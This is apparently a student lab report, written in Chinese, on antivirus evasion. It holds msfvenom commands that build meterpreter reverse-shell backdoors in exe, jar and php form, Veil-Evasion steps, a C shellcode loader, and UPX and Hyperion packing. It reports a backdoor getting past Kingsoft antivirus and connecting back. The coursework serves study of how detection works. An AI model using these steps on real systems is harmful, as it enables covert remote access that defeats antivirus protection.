zoukankan      html  css  js  c++  java
  • 2018-2019-2 网络对抗技术 20165334 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165334 Exp3 免杀原理与实践

    一、实验内容

    任务一正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,利用shellcode编程等免杀工具或技巧

    1、使用msf编码器,生成exe文件
    • 使用exp2中生产的后门程序20165334_backdoor.exe利用VirusTotal网站进行扫描检测。
    • 20165334_backdoor.exe利用Virscan网站进行扫描检测。

      -使msf编码器对后门程序进行多次的编码,并检测。
      msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 15 -b ‘x00’ LHOST=192.168.56.102 LPORT=5334 -f exe > met-lt5334l.exe

    • 用使用virscan进行扫描,结果如下所示

    • msfvenom生成jar文件msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=5334 x> ltl_backdoor_java.jar

    • 用使用virscan进行扫描,结果如下所示

    • msfvenom生成php文件msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=5334 x> 20155334_backdoor.php

    • 用使用virscan进行扫描,结果如下所示

    2、使用veil-evasion生成后门程序及检测
    • sudo apt-get install veil命令安装Veil,若遇到问题则用sudo apt-get upgrade这两个命令更新一下软件包即可之后用veil打开veil,输入y继续安装直至完成。

      -设置反弹连接IPset LHOST 192.168.56.102(IP是KaliIP)
    • 设置端口set LPORT 5334
    • 输入generate生成文件,接着输入你想要playload的名字:baddoor5334
    • 扫描检测

    3、半手工注入Shellcode并执行
    • 使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.102LPORT=5334 -f c用c语言生成一段shellcode


    -利用上面生成的数组拿来编写一个程序,结构如下

    unsigned char buf[] = 
    "此处复制粘贴之前用msf生成的buf"
    
    int main()
    {
        int (*func)() = (int(*)())buf;
        func();
    }
    
    • 使用命令i686-w64-mingw32-g++ shell5334.c -o shell5334.exe 编译

    • 扫描检测

    -x尝试运行结果被360拦截了。

    以上尝试可以看出没有处理的后门程序基本上都可以检测出来。
    加壳
    • 压缩壳 :减少应用体积,如ASPack,UPX

    • 加密壳: 版权保护,反跟踪。如ASProtect,Armadillo

    • 虚拟机 :通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect,Themida

    1、使用压缩壳(UPX)

    还是没能幸免,立刻被杀软截杀

    在360中添加信任后测试其可用性。

    2、加密壳Hyperion

    • 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
    • 进入目录/usr/share/windows-binaries/hyperion/
    • 输入命令wine hyperion.exe -v xxx.exe yyy.exe进行加壳

    反弹连接

    检测结果

    任务二:通过组合应用各种技术实现恶意代码免杀

    • 通过组合半手工制作shellcode,压缩壳,加密壳Hyperion达到了免杀的目的。

    任务成功截图

    任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    • 杀软名称:金山毒霸
    • 电脑版本:win7x64系统
    使用方法:半手工注入Shellcode+加壳。

    成功截图

    金山毒霸扫描结果

    实验中遇到的问题

    • 在实验三中,Linux系统ping不通windos7,y通过修改网络连接方式为桥接,修改两ip到通一网段得以解决。

    免杀原理及基础问题回答

    • 免杀思路:
      (1)对病毒木马文件通过各种技术进行修改;
      (2)拓展病毒木马文件功能,甚至是攻击杀软来达到目的。
    • 基础问题回答
      1)杀软是如何检测出恶意代码的?
    • 杀毒软件(AV)是一个较大规模安全防护策略的重要组成部分,能够减缓恶意软件在互联网上的传播速度,保护用户主机。
    • 特征库举例:首先对已经有过的恶意代码建立特征库,对其特征码进行匹配检测,若匹配成功,则为恶意代码需进行防范。因此有些新型恶意代码则更容易绕过杀软,在被检测出之前,可能有部分用户会被感染,因此需要及时更新恶意代码特征库。
      -启发式恶意软件检测:根据些片面特征去推断。通常是因为缺乏精确判定依据。
    • 基于行为的恶意软件检测:监控该代码的行为,看是否有恶意行为,或正在做与恶意代码所做的事情相同,威胁到主机安全,则极有可能为恶意代码。

    (2)免杀是做什么?

    • 免杀即“反杀毒技术”,让安插的后门不被AV软件发现。通过改变代码的特征,让杀毒软件成为摆设,防止被杀软查杀的一种技术。

    (3)免杀的基本方法有哪些?

    修改方法:

    • 直接修改特征码的十六进制法
    • 修改字符串大小写法
    • 等价替换法
    • 指令顺序调换法
    • 通用跳转法
    • 一键加壳法

    文件免杀方法:

    • 加冷门壳
    • 加壳改壳
    • 加花指令
    • 改程序入口点
  • 相关阅读:
    安卓组件service
    安卓组件-BroadcastReceiver
    【bug】java.lang.NoSuchMethodError: android.widget.TextView.setBackground
    【转】安卓毛玻璃效果
    INSTALL_FAILED_UPDATE_INCOMPATIBLE
    安卓 异步线程更新Ui
    OC语言-03-OC语言-三大特性
    OC语言-02-OC语言-基础知识
    OC语言-01-面向过程与面向对象思想
    C语言-07-预处理、typedef、static和extern
  • 原文地址:https://www.cnblogs.com/ltl123/p/10623487.html
Copyright © 2011-2022 走看看